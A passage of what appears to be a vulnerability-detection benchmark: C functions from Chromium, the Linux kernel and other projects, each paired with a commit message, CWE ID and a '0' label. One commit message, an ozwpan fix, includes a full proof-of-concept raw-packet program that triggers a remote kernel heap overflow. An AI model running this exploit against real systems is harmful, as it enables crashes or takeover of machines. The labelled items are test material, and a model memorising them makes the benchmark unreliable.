Commit Message: chromeos: fix bug where "aw snap" page replaces first tab if it was a NTP when closing window with > 1 tab.
BUG=chromium-os:12088
TEST=verify bug per bug report.
Review URL: http://codereview.chromium.org/6882058
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@83031 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-20 | 0 | 98,145 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static int cx24116_load_firmware(struct dvb_frontend *fe,
const struct firmware *fw)
{
struct cx24116_state *state = fe->demodulator_priv;
struct cx24116_cmd cmd;
int i, ret, len, max, remaining;
unsigned char vers[4];
dprintk("%s\n", __func__);
dprintk("Firmware is %zu bytes (%02x %02x .. %02x %02x)\n",
fw->size,
fw->data[0],
fw->data[1],
fw->data[fw->size-2],
fw->data[fw->size-1]);
/* Toggle 88x SRST pin to reset demod */
if (state->config->reset_device)
state->config->reset_device(fe);
/* Begin the firmware load process */
/* Prepare the demod, load the firmware, cleanup after load */
/* Init PLL */
cx24116_writereg(state, 0xE5, 0x00);
cx24116_writereg(state, 0xF1, 0x08);
cx24116_writereg(state, 0xF2, 0x13);
/* Start PLL */
cx24116_writereg(state, 0xe0, 0x03);
cx24116_writereg(state, 0xe0, 0x00);
/* Unknown */
cx24116_writereg(state, CX24116_REG_CLKDIV, 0x46);
cx24116_writereg(state, CX24116_REG_RATEDIV, 0x00);
/* Unknown */
cx24116_writereg(state, 0xF0, 0x03);
cx24116_writereg(state, 0xF4, 0x81);
cx24116_writereg(state, 0xF5, 0x00);
cx24116_writereg(state, 0xF6, 0x00);
/* Split firmware to the max I2C write len and write.
* Writes whole firmware as one write when i2c_wr_max is set to 0. */
if (state->config->i2c_wr_max)
max = state->config->i2c_wr_max;
else
max = INT_MAX; /* enough for 32k firmware */
for (remaining = fw->size; remaining > 0; remaining -= max - 1) {
len = remaining;
if (len > max - 1)
len = max - 1;
cx24116_writeregN(state, 0xF7, &fw->data[fw->size - remaining],
len);
}
cx24116_writereg(state, 0xF4, 0x10);
cx24116_writereg(state, 0xF0, 0x00);
cx24116_writereg(state, 0xF8, 0x06);
/* Firmware CMD 10: VCO config */
cmd.args[0x00] = CMD_SET_VCO;
cmd.args[0x01] = 0x05;
cmd.args[0x02] = 0xdc;
cmd.args[0x03] = 0xda;
cmd.args[0x04] = 0xae;
cmd.args[0x05] = 0xaa;
cmd.args[0x06] = 0x04;
cmd.args[0x07] = 0x9d;
cmd.args[0x08] = 0xfc;
cmd.args[0x09] = 0x06;
cmd.len = 0x0a;
ret = cx24116_cmd_execute(fe, &cmd);
if (ret != 0)
return ret;
cx24116_writereg(state, CX24116_REG_SSTATUS, 0x00);
/* Firmware CMD 14: Tuner config */
cmd.args[0x00] = CMD_TUNERINIT;
cmd.args[0x01] = 0x00;
cmd.args[0x02] = 0x00;
cmd.len = 0x03;
ret = cx24116_cmd_execute(fe, &cmd);
if (ret != 0)
return ret;
cx24116_writereg(state, 0xe5, 0x00);
/* Firmware CMD 13: MPEG config */
cmd.args[0x00] = CMD_MPEGCONFIG;
cmd.args[0x01] = 0x01;
cmd.args[0x02] = 0x75;
cmd.args[0x03] = 0x00;
if (state->config->mpg_clk_pos_pol)
cmd.args[0x04] = state->config->mpg_clk_pos_pol;
else
cmd.args[0x04] = 0x02;
cmd.args[0x05] = 0x00;
cmd.len = 0x06;
ret = cx24116_cmd_execute(fe, &cmd);
if (ret != 0)
return ret;
/* Firmware CMD 35: Get firmware version */
cmd.args[0x00] = CMD_UPDFWVERS;
cmd.len = 0x02;
for (i = 0; i < 4; i++) {
cmd.args[0x01] = i;
ret = cx24116_cmd_execute(fe, &cmd);
if (ret != 0)
return ret;
vers[i] = cx24116_readreg(state, CX24116_REG_MAILBOX);
}
printk(KERN_INFO "%s: FW version %i.%i.%i.%i\n", __func__,
vers[0], vers[1], vers[2], vers[3]);
return 0;
}
Commit Message: [media] cx24116: fix a buffer overflow when checking userspace params
The maximum size for a DiSEqC command is 6, according to the
userspace API. However, the code allows to write up much more values:
drivers/media/dvb-frontends/cx24116.c:983 cx24116_send_diseqc_msg() error: buffer overflow 'd->msg' 6 <= 23
Cc: stable@vger.kernel.org
Signed-off-by: Mauro Carvalho Chehab <mchehab@osg.samsung.com>
CWE ID: CWE-119 | 0 | 94,052 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: bool HTMLInputElement::IsTextButton() const {
return input_type_->IsTextButton();
}
Commit Message: MacViews: Enable secure text input for password Textfields.
In Cocoa the NSTextInputContext automatically enables secure text input
when activated and it's in the secure text entry mode.
RenderWidgetHostViewMac did the similar thing for ages following the
WebKit example.
views::Textfield needs to do the same thing in a fashion that's
sycnrhonized with RenderWidgetHostViewMac, otherwise the race conditions
are possible when the Textfield gets focus, activates the secure text
input mode and the RWHVM loses focus immediately afterwards and disables
the secure text input instead of leaving it in the enabled state.
BUG=818133,677220
Change-Id: I6db6c4b59e4a1a72cbb7f8c7056f71b04a3df08b
Reviewed-on: https://chromium-review.googlesource.com/943064
Commit-Queue: Michail Pishchagin <mblsha@yandex-team.ru>
Reviewed-by: Pavel Feldman <pfeldman@chromium.org>
Reviewed-by: Avi Drissman <avi@chromium.org>
Reviewed-by: Peter Kasting <pkasting@chromium.org>
Cr-Commit-Position: refs/heads/master@{#542517}
CWE ID: | 0 | 126,055 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: R_API int r_bin_list(RBin *bin, int json) {
RListIter *it;
RBinPlugin *bp;
RBinXtrPlugin *bx;
if (json == 'q') {
r_list_foreach (bin->plugins, it, bp) {
bin->cb_printf ("%s\n", bp->name);
}
r_list_foreach (bin->binxtrs, it, bx) {
bin->cb_printf ("%s\n", bx->name);
}
} else if (json) {
int i;
i = 0;
bin->cb_printf ("{\"bin\":[");
r_list_foreach (bin->plugins, it, bp) {
bin->cb_printf (
"%s{\"name\":\"%s\",\"description\":\"%s\","
"\"license\":\"%s\"}",
i? ",": "", bp->name, bp->desc, bp->license? bp->license: "???");
i++;
}
i = 0;
bin->cb_printf ("],\"xtr\":[");
r_list_foreach (bin->binxtrs, it, bx) {
bin->cb_printf (
"%s{\"name\":\"%s\",\"description\":\"%s\","
"\"license\":\"%s\"}",
i? ",": "", bx->name, bx->desc, bx->license? bx->license: "???");
i++;
}
bin->cb_printf ("]}\n");
} else {
r_list_foreach (bin->plugins, it, bp) {
bin->cb_printf ("bin %-11s %s (%s) %s %s\n",
bp->name, bp->desc, bp->license? bp->license: "???",
bp->version? bp->version: "",
bp->author? bp->author: "");
}
r_list_foreach (bin->binxtrs, it, bx) {
bin->cb_printf ("xtr %-11s %s (%s)\n", bx->name,
bx->desc, bx->license? bx->license: "???");
}
}
return false;
}
Commit Message: Fix #8748 - Fix oobread on string search
CWE ID: CWE-125 | 0 | 60,178 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: int handle_pte_fault(struct mm_struct *mm,
struct vm_area_struct *vma, unsigned long address,
pte_t *pte, pmd_t *pmd, unsigned int flags)
{
pte_t entry;
spinlock_t *ptl;
entry = *pte;
if (!pte_present(entry)) {
if (pte_none(entry)) {
if (vma->vm_ops) {
if (likely(vma->vm_ops->fault))
return do_linear_fault(mm, vma, address,
pte, pmd, flags, entry);
}
return do_anonymous_page(mm, vma, address,
pte, pmd, flags);
}
if (pte_file(entry))
return do_nonlinear_fault(mm, vma, address,
pte, pmd, flags, entry);
return do_swap_page(mm, vma, address,
pte, pmd, flags, entry);
}
ptl = pte_lockptr(mm, pmd);
spin_lock(ptl);
if (unlikely(!pte_same(*pte, entry)))
goto unlock;
if (flags & FAULT_FLAG_WRITE) {
if (!pte_write(entry))
return do_wp_page(mm, vma, address,
pte, pmd, ptl, entry);
entry = pte_mkdirty(entry);
}
entry = pte_mkyoung(entry);
if (ptep_set_access_flags(vma, address, pte, entry, flags & FAULT_FLAG_WRITE)) {
update_mmu_cache(vma, address, pte);
} else {
/*
* This is needed only for protection faults but the arch code
* is not yet telling us if this is a protection fault or not.
* This still avoids useless tlb flushes for .text page faults
* with threads.
*/
if (flags & FAULT_FLAG_WRITE)
flush_tlb_fix_spurious_fault(vma, address);
}
unlock:
pte_unmap_unlock(pte, ptl);
return 0;
}
Commit Message: mm: thp: fix pmd_bad() triggering in code paths holding mmap_sem read mode
commit 1a5a9906d4e8d1976b701f889d8f35d54b928f25 upstream.
In some cases it may happen that pmd_none_or_clear_bad() is called with
the mmap_sem hold in read mode. In those cases the huge page faults can
allocate hugepmds under pmd_none_or_clear_bad() and that can trigger a
false positive from pmd_bad() that will not like to see a pmd
materializing as trans huge.
It's not khugepaged causing the problem, khugepaged holds the mmap_sem
in write mode (and all those sites must hold the mmap_sem in read mode
to prevent pagetables to go away from under them, during code review it
seems vm86 mode on 32bit kernels requires that too unless it's
restricted to 1 thread per process or UP builds). The race is only with
the huge pagefaults that can convert a pmd_none() into a
pmd_trans_huge().
Effectively all these pmd_none_or_clear_bad() sites running with
mmap_sem in read mode are somewhat speculative with the page faults, and
the result is always undefined when they run simultaneously. This is
probably why it wasn't common to run into this. For example if the
madvise(MADV_DONTNEED) runs zap_page_range() shortly before the page
fault, the hugepage will not be zapped, if the page fault runs first it
will be zapped.
Altering pmd_bad() not to error out if it finds hugepmds won't be enough
to fix this, because zap_pmd_range would then proceed to call
zap_pte_range (which would be incorrect if the pmd become a
pmd_trans_huge()).
The simplest way to fix this is to read the pmd in the local stack
(regardless of what we read, no need of actual CPU barriers, only
compiler barrier needed), and be sure it is not changing under the code
that computes its value. Even if the real pmd is changing under the
value we hold on the stack, we don't care. If we actually end up in
zap_pte_range it means the pmd was not none already and it was not huge,
and it can't become huge from under us (khugepaged locking explained
above).
All we need is to enforce that there is no way anymore that in a code
path like below, pmd_trans_huge can be false, but pmd_none_or_clear_bad
can run into a hugepmd. The overhead of a barrier() is just a compiler
tweak and should not be measurable (I only added it for THP builds). I
don't exclude different compiler versions may have prevented the race
too by caching the value of *pmd on the stack (that hasn't been
verified, but it wouldn't be impossible considering
pmd_none_or_clear_bad, pmd_bad, pmd_trans_huge, pmd_none are all inlines
and there's no external function called in between pmd_trans_huge and
pmd_none_or_clear_bad).
if (pmd_trans_huge(*pmd)) {
if (next-addr != HPAGE_PMD_SIZE) {
VM_BUG_ON(!rwsem_is_locked(&tlb->mm->mmap_sem));
split_huge_page_pmd(vma->vm_mm, pmd);
} else if (zap_huge_pmd(tlb, vma, pmd, addr))
continue;
/* fall through */
}
if (pmd_none_or_clear_bad(pmd))
Because this race condition could be exercised without special
privileges this was reported in CVE-2012-1179.
The race was identified and fully explained by Ulrich who debugged it.
I'm quoting his accurate explanation below, for reference.
====== start quote =======
mapcount 0 page_mapcount 1
kernel BUG at mm/huge_memory.c:1384!
At some point prior to the panic, a "bad pmd ..." message similar to the
following is logged on the console:
mm/memory.c:145: bad pmd ffff8800376e1f98(80000000314000e7).
The "bad pmd ..." message is logged by pmd_clear_bad() before it clears
the page's PMD table entry.
143 void pmd_clear_bad(pmd_t *pmd)
144 {
-> 145 pmd_ERROR(*pmd);
146 pmd_clear(pmd);
147 }
After the PMD table entry has been cleared, there is an inconsistency
between the actual number of PMD table entries that are mapping the page
and the page's map count (_mapcount field in struct page). When the page
is subsequently reclaimed, __split_huge_page() detects this inconsistency.
1381 if (mapcount != page_mapcount(page))
1382 printk(KERN_ERR "mapcount %d page_mapcount %d\n",
1383 mapcount, page_mapcount(page));
-> 1384 BUG_ON(mapcount != page_mapcount(page));
The root cause of the problem is a race of two threads in a multithreaded
process. Thread B incurs a page fault on a virtual address that has never
been accessed (PMD entry is zero) while Thread A is executing an madvise()
system call on a virtual address within the same 2 MB (huge page) range.
virtual address space
.---------------------.
| |
| |
.-|---------------------|
| | |
| | |<-- B(fault)
| | |
2 MB | |/////////////////////|-.
huge < |/////////////////////| > A(range)
page | |/////////////////////|-'
| | |
| | |
'-|---------------------|
| |
| |
'---------------------'
- Thread A is executing an madvise(..., MADV_DONTNEED) system call
on the virtual address range "A(range)" shown in the picture.
sys_madvise
// Acquire the semaphore in shared mode.
down_read(¤t->mm->mmap_sem)
...
madvise_vma
switch (behavior)
case MADV_DONTNEED:
madvise_dontneed
zap_page_range
unmap_vmas
unmap_page_range
zap_pud_range
zap_pmd_range
//
// Assume that this huge page has never been accessed.
// I.e. content of the PMD entry is zero (not mapped).
//
if (pmd_trans_huge(*pmd)) {
// We don't get here due to the above assumption.
}
//
// Assume that Thread B incurred a page fault and
.---------> // sneaks in here as shown below.
| //
| if (pmd_none_or_clear_bad(pmd))
| {
| if (unlikely(pmd_bad(*pmd)))
| pmd_clear_bad
| {
| pmd_ERROR
| // Log "bad pmd ..." message here.
| pmd_clear
| // Clear the page's PMD entry.
| // Thread B incremented the map count
| // in page_add_new_anon_rmap(), but
| // now the page is no longer mapped
| // by a PMD entry (-> inconsistency).
| }
| }
|
v
- Thread B is handling a page fault on virtual address "B(fault)" shown
in the picture.
...
do_page_fault
__do_page_fault
// Acquire the semaphore in shared mode.
down_read_trylock(&mm->mmap_sem)
...
handle_mm_fault
if (pmd_none(*pmd) && transparent_hugepage_enabled(vma))
// We get here due to the above assumption (PMD entry is zero).
do_huge_pmd_anonymous_page
alloc_hugepage_vma
// Allocate a new transparent huge page here.
...
__do_huge_pmd_anonymous_page
...
spin_lock(&mm->page_table_lock)
...
page_add_new_anon_rmap
// Here we increment the page's map count (starts at -1).
atomic_set(&page->_mapcount, 0)
set_pmd_at
// Here we set the page's PMD entry which will be cleared
// when Thread A calls pmd_clear_bad().
...
spin_unlock(&mm->page_table_lock)
The mmap_sem does not prevent the race because both threads are acquiring
it in shared mode (down_read). Thread B holds the page_table_lock while
the page's map count and PMD table entry are updated. However, Thread A
does not synchronize on that lock.
====== end quote =======
[akpm@linux-foundation.org: checkpatch fixes]
Reported-by: Ulrich Obergfell <uobergfe@redhat.com>
Signed-off-by: Andrea Arcangeli <aarcange@redhat.com>
Acked-by: Johannes Weiner <hannes@cmpxchg.org>
Cc: Mel Gorman <mgorman@suse.de>
Cc: Hugh Dickins <hughd@google.com>
Cc: Dave Jones <davej@redhat.com>
Acked-by: Larry Woodman <lwoodman@redhat.com>
Acked-by: Rik van Riel <riel@redhat.com>
Cc: Mark Salter <msalter@redhat.com>
Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
CWE ID: CWE-264 | 0 | 21,240 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: gst_asf_demux_is_unknown_stream (GstASFDemux * demux, guint stream_num)
{
return g_slist_find (demux->other_streams,
GINT_TO_POINTER (stream_num)) == NULL;
}
Commit Message: asfdemux: Check that we have enough data available before parsing bool/uint extended content descriptors
https://bugzilla.gnome.org/show_bug.cgi?id=777955
CWE ID: CWE-125 | 0 | 68,559 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: gs_interp_reset(i_ctx_t *i_ctx_p)
{ /* Reset the stacks. */
ref_stack_clear(&o_stack);
ref_stack_clear(&e_stack);
esp++;
make_oper(esp, 0, interp_exit);
ref_stack_pop_to(&d_stack, min_dstack_size);
dict_set_top();
}
Commit Message:
CWE ID: CWE-200 | 0 | 2,371 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: const char *FS_ReferencedPakPureChecksums( void ) {
static char info[BIG_INFO_STRING];
searchpath_t *search;
int nFlags, numPaks, checksum;
info[0] = 0;
checksum = fs_checksumFeed;
numPaks = 0;
for (nFlags = FS_CGAME_REF; nFlags; nFlags = nFlags >> 1) {
if (nFlags & FS_GENERAL_REF) {
info[strlen(info)+1] = '\0';
info[strlen(info)+2] = '\0';
info[strlen(info)] = '@';
info[strlen(info)] = ' ';
}
for ( search = fs_searchpaths ; search ; search = search->next ) {
if ( search->pack && (search->pack->referenced & nFlags)) {
Q_strcat( info, sizeof( info ), va("%i ", search->pack->pure_checksum ) );
if (nFlags & (FS_CGAME_REF | FS_UI_REF)) {
break;
}
checksum ^= search->pack->pure_checksum;
numPaks++;
}
}
}
checksum ^= numPaks;
Q_strcat( info, sizeof( info ), va("%i ", checksum ) );
return info;
}
Commit Message: Don't load .pk3s as .dlls, and don't load user config files from .pk3s.
CWE ID: CWE-269 | 0 | 96,053 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static int vrend_decode_create_shader(struct vrend_decode_ctx *ctx,
uint32_t handle,
uint16_t length)
{
struct pipe_stream_output_info so_info;
int i, ret;
uint32_t shader_offset;
unsigned num_tokens, num_so_outputs, offlen;
uint8_t *shd_text;
uint32_t type;
if (length < 5)
return EINVAL;
type = get_buf_entry(ctx, VIRGL_OBJ_SHADER_TYPE);
num_tokens = get_buf_entry(ctx, VIRGL_OBJ_SHADER_NUM_TOKENS);
offlen = get_buf_entry(ctx, VIRGL_OBJ_SHADER_OFFSET);
num_so_outputs = get_buf_entry(ctx, VIRGL_OBJ_SHADER_SO_NUM_OUTPUTS);
if (num_so_outputs > PIPE_MAX_SO_OUTPUTS)
return EINVAL;
shader_offset = 6;
if (num_so_outputs) {
so_info.num_outputs = num_so_outputs;
if (so_info.num_outputs) {
for (i = 0; i < 4; i++)
so_info.stride[i] = get_buf_entry(ctx, VIRGL_OBJ_SHADER_SO_STRIDE(i));
for (i = 0; i < so_info.num_outputs; i++) {
uint32_t tmp = get_buf_entry(ctx, VIRGL_OBJ_SHADER_SO_OUTPUT0(i));
so_info.output[i].register_index = tmp & 0xff;
so_info.output[i].start_component = (tmp >> 8) & 0x3;
so_info.output[i].num_components = (tmp >> 10) & 0x7;
so_info.output[i].output_buffer = (tmp >> 13) & 0x7;
so_info.output[i].dst_offset = (tmp >> 16) & 0xffff;
}
}
shader_offset += 4 + (2 * num_so_outputs);
} else
memset(&so_info, 0, sizeof(so_info));
shd_text = get_buf_ptr(ctx, shader_offset);
ret = vrend_create_shader(ctx->grctx, handle, &so_info, (const char *)shd_text, offlen, num_tokens, type, length - shader_offset + 1);
return ret;
}
Commit Message:
CWE ID: CWE-476 | 0 | 9,100 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static void oz_hcd_stop(struct usb_hcd *hcd)
{
}
Commit Message: ozwpan: Use unsigned ints to prevent heap overflow
Using signed integers, the subtraction between required_size and offset
could wind up being negative, resulting in a memcpy into a heap buffer
with a negative length, resulting in huge amounts of network-supplied
data being copied into the heap, which could potentially lead to remote
code execution.. This is remotely triggerable with a magic packet.
A PoC which obtains DoS follows below. It requires the ozprotocol.h file
from this module.
=-=-=-=-=-=
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"
static int hex2num(char c)
{
if (c >= '0' && c <= '9')
return c - '0';
if (c >= 'a' && c <= 'f')
return c - 'a' + 10;
if (c >= 'A' && c <= 'F')
return c - 'A' + 10;
return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
int i;
for (i = 0; i < 6; i++) {
int a, b;
a = hex2num(*txt++);
if (a < 0)
return -1;
b = hex2num(*txt++);
if (b < 0)
return -1;
*addr++ = (a << 4) | b;
if (i < 5 && *txt++ != ':')
return -1;
}
return 0;
}
int main(int argc, char *argv[])
{
if (argc < 3) {
fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
return 1;
}
uint8_t dest_mac[6];
if (hwaddr_aton(argv[2], dest_mac)) {
fprintf(stderr, "Invalid mac address.\n");
return 1;
}
int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (sockfd < 0) {
perror("socket");
return 1;
}
struct ifreq if_idx;
int interface_index;
strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
perror("SIOCGIFINDEX");
return 1;
}
interface_index = if_idx.ifr_ifindex;
if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
perror("SIOCGIFHWADDR");
return 1;
}
uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_elt_connect_req oz_elt_connect_req;
} __packed connect_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(0)
},
.oz_elt = {
.type = OZ_ELT_CONNECT_REQ,
.length = sizeof(struct oz_elt_connect_req)
},
.oz_elt_connect_req = {
.mode = 0,
.resv1 = {0},
.pd_info = 0,
.session_id = 0,
.presleep = 35,
.ms_isoc_latency = 0,
.host_vendor = 0,
.keep_alive = 0,
.apps = htole16((1 << OZ_APPID_USB) | 0x1),
.max_len_div16 = 0,
.ms_per_isoc = 0,
.up_audio_buf = 0,
.ms_per_elt = 0
}
};
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_get_desc_rsp oz_get_desc_rsp;
} __packed pwn_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(1)
},
.oz_elt = {
.type = OZ_ELT_APP_DATA,
.length = sizeof(struct oz_get_desc_rsp)
},
.oz_get_desc_rsp = {
.app_id = OZ_APPID_USB,
.elt_seq_num = 0,
.type = OZ_GET_DESC_RSP,
.req_id = 0,
.offset = htole16(2),
.total_size = htole16(1),
.rcode = 0,
.data = {0}
}
};
struct sockaddr_ll socket_address = {
.sll_ifindex = interface_index,
.sll_halen = ETH_ALEN,
.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
};
if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
usleep(300000);
if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
return 0;
}
Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
Acked-by: Dan Carpenter <dan.carpenter@oracle.com>
Cc: stable <stable@vger.kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
CWE ID: CWE-189 | 0 | 43,197 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void RevokeFilePermission(int child_id, const FilePath& path) {
ChildProcessSecurityPolicyImpl::GetInstance()->RevokeAllPermissionsForFile(
child_id, path);
}
Commit Message: File permission fix: now we selectively grant read permission for Sandboxed files
We also need to check the read permission and call GrantReadFile() for
sandboxed files for CreateSnapshotFile().
BUG=162114
TEST=manual
Review URL: https://codereview.chromium.org/11280231
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@170181 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-264 | 0 | 119,043 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void __ieee80211_tx_skb_tid_band(struct ieee80211_sub_if_data *sdata,
struct sk_buff *skb, int tid,
enum ieee80211_band band)
{
int ac = ieee802_1d_to_ac[tid & 7];
skb_set_mac_header(skb, 0);
skb_set_network_header(skb, 0);
skb_set_transport_header(skb, 0);
skb_set_queue_mapping(skb, ac);
skb->priority = tid;
skb->dev = sdata->dev;
/*
* The other path calling ieee80211_xmit is from the tasklet,
* and while we can handle concurrent transmissions locking
* requirements are that we do not come into tx with bhs on.
*/
local_bh_disable();
ieee80211_xmit(sdata, skb, band);
local_bh_enable();
}
Commit Message: mac80211: fix fragmentation code, particularly for encryption
The "new" fragmentation code (since my rewrite almost 5 years ago)
erroneously sets skb->len rather than using skb_trim() to adjust
the length of the first fragment after copying out all the others.
This leaves the skb tail pointer pointing to after where the data
originally ended, and thus causes the encryption MIC to be written
at that point, rather than where it belongs: immediately after the
data.
The impact of this is that if software encryption is done, then
a) encryption doesn't work for the first fragment, the connection
becomes unusable as the first fragment will never be properly
verified at the receiver, the MIC is practically guaranteed to
be wrong
b) we leak up to 8 bytes of plaintext (!) of the packet out into
the air
This is only mitigated by the fact that many devices are capable
of doing encryption in hardware, in which case this can't happen
as the tail pointer is irrelevant in that case. Additionally,
fragmentation is not used very frequently and would normally have
to be configured manually.
Fix this by using skb_trim() properly.
Cc: stable@vger.kernel.org
Fixes: 2de8e0d999b8 ("mac80211: rewrite fragmentation")
Reported-by: Jouni Malinen <j@w1.fi>
Signed-off-by: Johannes Berg <johannes.berg@intel.com>
CWE ID: CWE-200 | 0 | 35,456 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static void ri_tasklet(unsigned long dev)
{
struct net_device *_dev = (struct net_device *)dev;
struct ifb_private *dp = netdev_priv(_dev);
struct netdev_queue *txq;
struct sk_buff *skb;
txq = netdev_get_tx_queue(_dev, 0);
if ((skb = skb_peek(&dp->tq)) == NULL) {
if (__netif_tx_trylock(txq)) {
skb_queue_splice_tail_init(&dp->rq, &dp->tq);
__netif_tx_unlock(txq);
} else {
/* reschedule */
goto resched;
}
}
while ((skb = __skb_dequeue(&dp->tq)) != NULL) {
u32 from = G_TC_FROM(skb->tc_verd);
skb->tc_verd = 0;
skb->tc_verd = SET_TC_NCLS(skb->tc_verd);
u64_stats_update_begin(&dp->tsync);
dp->tx_packets++;
dp->tx_bytes += skb->len;
u64_stats_update_end(&dp->tsync);
rcu_read_lock();
skb->dev = dev_get_by_index_rcu(&init_net, skb->skb_iif);
if (!skb->dev) {
rcu_read_unlock();
dev_kfree_skb(skb);
_dev->stats.tx_dropped++;
if (skb_queue_len(&dp->tq) != 0)
goto resched;
break;
}
rcu_read_unlock();
skb->skb_iif = _dev->ifindex;
if (from & AT_EGRESS) {
dev_queue_xmit(skb);
} else if (from & AT_INGRESS) {
skb_pull(skb, skb->dev->hard_header_len);
netif_receive_skb(skb);
} else
BUG();
}
if (__netif_tx_trylock(txq)) {
if ((skb = skb_peek(&dp->rq)) == NULL) {
dp->tasklet_pending = 0;
if (netif_queue_stopped(_dev))
netif_wake_queue(_dev);
} else {
__netif_tx_unlock(txq);
goto resched;
}
__netif_tx_unlock(txq);
} else {
resched:
dp->tasklet_pending = 1;
tasklet_schedule(&dp->ifb_tasklet);
}
}
Commit Message: net: Audit drivers to identify those needing IFF_TX_SKB_SHARING cleared
After the last patch, We are left in a state in which only drivers calling
ether_setup have IFF_TX_SKB_SHARING set (we assume that drivers touching real
hardware call ether_setup for their net_devices and don't hold any state in
their skbs. There are a handful of drivers that violate this assumption of
course, and need to be fixed up. This patch identifies those drivers, and marks
them as not being able to support the safe transmission of skbs by clearning the
IFF_TX_SKB_SHARING flag in priv_flags
Signed-off-by: Neil Horman <nhorman@tuxdriver.com>
CC: Karsten Keil <isdn@linux-pingi.de>
CC: "David S. Miller" <davem@davemloft.net>
CC: Jay Vosburgh <fubar@us.ibm.com>
CC: Andy Gospodarek <andy@greyhouse.net>
CC: Patrick McHardy <kaber@trash.net>
CC: Krzysztof Halasa <khc@pm.waw.pl>
CC: "John W. Linville" <linville@tuxdriver.com>
CC: Greg Kroah-Hartman <gregkh@suse.de>
CC: Marcel Holtmann <marcel@holtmann.org>
CC: Johannes Berg <johannes@sipsolutions.net>
Signed-off-by: David S. Miller <davem@davemloft.net>
CWE ID: CWE-264 | 0 | 23,792 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: create_reply_adv(xmlNode * original_request, xmlNode * xml_response_data, const char *origin)
{
xmlNode *reply = NULL;
const char *host_from = crm_element_value(original_request, F_CRM_HOST_FROM);
const char *sys_from = crm_element_value(original_request, F_CRM_SYS_FROM);
const char *sys_to = crm_element_value(original_request, F_CRM_SYS_TO);
const char *type = crm_element_value(original_request, F_CRM_MSG_TYPE);
const char *operation = crm_element_value(original_request, F_CRM_TASK);
const char *crm_msg_reference = crm_element_value(original_request, F_CRM_REFERENCE);
if (type == NULL) {
crm_err("Cannot create new_message, no message type in original message");
CRM_ASSERT(type != NULL);
return NULL;
#if 0
} else if (strcasecmp(XML_ATTR_REQUEST, type) != 0) {
crm_err("Cannot create new_message, original message was not a request");
